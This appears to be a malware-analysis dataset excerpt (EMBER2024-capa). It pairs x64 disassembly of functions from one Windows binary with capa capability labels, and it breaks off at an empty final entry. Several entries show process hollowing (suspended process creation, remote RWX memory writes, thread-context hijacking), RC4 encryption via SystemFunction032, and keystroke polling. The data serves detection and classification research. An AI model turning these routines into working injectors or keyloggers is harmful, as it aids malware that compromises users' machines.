joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140911058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409111df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140911089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14091106f
add dl, dl
jne 0x140911096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409110f6
xor eax, eax
add dl, dl
jne 0x1409110a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409111ad
add dl, dl
jne 0x1409110b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409110c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409110d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409110dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409110ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14091107e
mov eax, 1
add dl, dl
jne 0x140911106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140911113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409110fb
sub eax, ebx
mov ebx, 1
jne 0x14091114c
mov ecx, 1
add dl, dl
jne 0x14091112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14091113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140911123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14091107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140911168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140911175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14091115d
cmp eax, 0x7d00
jae 0x14091119b
cmp eax, 0x500
jb 0x140911196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14091107e
cmp eax, 0x7f
ja 0x14091119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14091107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409111d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14091107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001070
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov eax, dword [0x140109a28]
movsd xmm0, qword [str.Advapi32.dll]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x140109a2c]
movsd qword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.SystemFunction032]
mov byte [rsp + 0x4c], al
movzx eax, word [0x140109a40]
mov qword [r11 - 0x50], rcx
lea rcx, [r11 - 0x38]
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x60], ax
mov dword [r11 - 0x54], r8d
mov dword [r11 - 0x58], r8d
mov dword [r11 - 0x44], r9d
mov dword [r11 - 0x48], r9d
mov qword [r11 - 0x40], rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call rax
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400b73e0
add rsp, 0x78
ret

Function at 0x140001120
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x418
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x400], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
mov rdi, r8
mov rsi, rdx
mov dword [rsp + 0xd4], eax
mov rbx, rcx
mov qword [rsp + 0x60], rax
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
lea rcx, str.WINDIR
mov r14, r9
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x14000124e
lea r9, [rsp + 0xe0]
mov qword [rsp + 0x20], rbx
lea r8, str._sSystem32_s
mov edx, 0x208
lea rcx, [rsp + 0x1f0]
call fcn.140001010
xor ebx, ebx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x1f0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rbx
xor ecx, ecx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000124e
mov ecx, dword [rsp + 0x60]
mov rax, qword [rsp + 0x58]
mov dword [rsi], ecx
mov rcx, qword [rsp + 0x50]
mov qword [rdi], rcx
mov qword [r14], rax
cmp dword [rsi], ebx
je 0x14000124e
cmp qword [rdi], rbx
je 0x14000124e
test rax, rax
setne bl
mov eax, ebx
jmp 0x140001250
xor eax, eax
mov rcx, qword [rsp + 0x400]
xor rcx, rsp
call fcn.1400b73e0
add rsp, 0x418
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001270
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor eax, eax
mov dword [rsp + 0x20], 4
mov rsi, r9
mov qword [rsp + 0x38], rax
mov rbp, rdx
mov dword [rsp + 0x30], eax
xor edx, edx
mov r9d, 0x3000
mov rbx, r8
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsi], rax
test rax, rax
je 0x14000130e
lea rcx, [rsp + 0x38]
mov r9, rbx
mov qword [rsp + 0x20], rcx
mov r8, rbp
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000130e
cmp qword [rsp + 0x38], rbx
jne 0x14000130e
mov rdx, qword [rsi]
lea rax, [rsp + 0x30]
mov r9d, 0x40
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14000130e
mov eax, 1
jmp 0x140001310
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400b73e0
add rsp, 0x58
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140001330
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov rdi, rdx
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call fcn.1400f6f90
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x50], 0x100001
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400013b9
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x118], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1400013b9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
jmp 0x1400013bb
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1400b73e0
mov rbx, qword [rsp + 0x520]
add rsp, 0x500
pop rdi
ret
Function at 0x1400b7510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400b7cd0
movzx eax, al
test eax, eax
jne 0x1400b7530
mov ecx, 7
call fcn.1400b8270
nop
mov byte [rsp + 0x20], 0
call fcn.1400b7c60
mov byte [rsp + 0x21], al
cmp dword [0x14010e060], 1
jne 0x1400b7554
mov ecx, 7
call fcn.1400b8270
nop
jmp 0x1400b75ac
cmp dword [0x14010e060], 0
jne 0x1400b75a7
mov dword [0x14010e060], 1
lea rdx, [0x1400f8360]
lea rcx, [0x1400f8328]
call fcn.1400cc240
test eax, eax
je 0x1400b7588
mov eax, 0xff
jmp 0x1400b76b1
lea rdx, [0x1400f8320]
lea rcx, [0x1400f8310]
call fcn.1400cc1e0
mov dword [0x14010e060], 2
jmp 0x1400b75ac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400b7ec0
call fcn.1400b8240
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400b7609
mov rcx, qword [rsp + 0x30]
call fcn.1400b7e30
movzx eax, al
test eax, eax
je 0x1400b7609
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x1400f82e8]
nop
call fcn.1400b8250
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400b763d
mov rcx, qword [rsp + 0x38]
call fcn.1400b7e30
movzx eax, al
test eax, eax
je 0x1400b763d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400cc980
nop
call fcn.1400b76f0
mov dword [rsp + 0x28], eax
call fcn.1400b8420
movzx eax, al
test eax, eax
jne 0x1400b765c
mov ecx, dword [rsp + 0x28]
call fcn.1400cc9d0
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400b766b
call fcn.1400cc940
nop
xor edx, edx
mov cl, 1
call fcn.1400b7ef0
mov eax, dword [rsp + 0x28]
jmp 0x1400b76b1
add rsp, 0x68
ret

Function at 0x1400ba1a0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400b9c80
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400ba1df
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1400f82e8]
jmp 0x1400ba1e9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1400cc720
Capabilities:
Terminate process

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x28
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x1400cc748
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [rsp + 0x30]
call fcn.1400cc840
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400dbd10
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x1400df510
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400b9220
lea rcx, [rsp + 0x40]
call fcn.1400df4d0
movzx eax, al
test eax, eax
jne 0x1400df558
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1400df400
mov rax, qword [rsp + 0x70]
jmp 0x1400df729
lea rcx, [rsp + 0x40]
call fcn.1400b92a0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400df480
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1400b92a0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400df2d0
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400df5fe
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1400df400
mov rax, qword [rsp + 0x80]
jmp 0x1400df729
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400cfa30
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400b9220
lea rcx, [rsp + 0x48]
call fcn.1400b9260
movzx eax, al
test eax, eax
jne 0x1400df665
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400b9240
lea rcx, [rsp + 0x40]
call fcn.1400df400
mov rax, qword [rsp + 0x88]
jmp 0x1400df729
lea rcx, [rsp + 0x48]
call fcn.1400b92a0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1400b92a0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400df2d0
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1400df6fb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400b9240
lea rcx, [rsp + 0x40]
call fcn.1400df400
mov rax, qword [rsp + 0xa0]
jmp 0x1400df729
lea rcx, [rsp + 0x48]
call fcn.1400b9800
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400b9240
lea rcx, [rsp + 0x40]
call fcn.1400df400
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x1400e9400
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1400e9429
jmp 0x1400e94ae
mov rcx, qword [rbp + 0x30]
call fcn.1400f73b0
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1400e9442
jmp 0x1400e94ae
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1400e945f
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400f61a0
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 0
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1400ed810
test eax, eax
jne 0x1400e94ae
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400b73e0
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x1400ebc70
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400dcc20
lea rcx, [rsp + 0x48]
call fcn.1400dcc20
call fcn.1400dced0
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400dc0f0
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400ebcdf
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.1400dcce0
lea rcx, [rsp + 0x78]
call fcn.1400dcce0
mov eax, dword [rsp + 0x24]
jmp 0x1400ebd70
call fcn.1400dced0
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400dc0f0
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1400ebd26
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.1400dcce0
lea rcx, [rsp + 0x78]
call fcn.1400dcce0
mov eax, dword [rsp + 0x2c]
jmp 0x1400ebd70
lea rcx, [rsp + 0x48]
call fcn.1400dd230
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400dd230
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.1400dcce0
lea rcx, [rsp + 0x78]
call fcn.1400dcce0
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x1400f1b30
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400f61a0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14010ead0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400f1d2a
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1400f1c76
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400f1c76
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1400f1c5b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1400f1bf8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400f1cea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400f1d49
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jae 0x1400f1d25
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400f1d49
jmp 0x1400f1bce
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400b73e0
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400f1d70
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400f61a0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14010ead0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400f1f85
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1400f1ec9
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400f1ec9
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1400f1ea9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1400f1e38
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x48]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400f1f45
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400f1fa4
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x44], eax
jae 0x1400f1f80
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400f1fa4
jmp 0x1400f1e0e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400b73e0
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140001970
Capabilities:
Log keystrokes via polling

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x140001996
mov dword [rsp + 0x20], 1
jmp 0x14000199e
mov dword [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140004a90
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140004b10
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x1400052e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x30]
call fcn.140005600
nop
lea rax, [0x140005670]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x30]
call fcn.1400016d0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x140005366
lea rcx, [rsp + 0x30]
call fcn.140005390
nop
jmp 0x14000537e
mov rax, qword [rsp + 0x60]
mov dword [rax + 8], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea rcx, [rsp + 0x30]
call fcn.1400053c0
nop
add rsp, 0x58
ret

Function at 0x140005a40
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x140005a63
mov rcx, qword [rsp + 0x40]
call fcn.140005b20
nop
jmp 0x140005a7b
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x140005a7b
mov rcx, qword [rsp + 0x40]
call fcn.140005bd0
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140005b20
Capabilities:
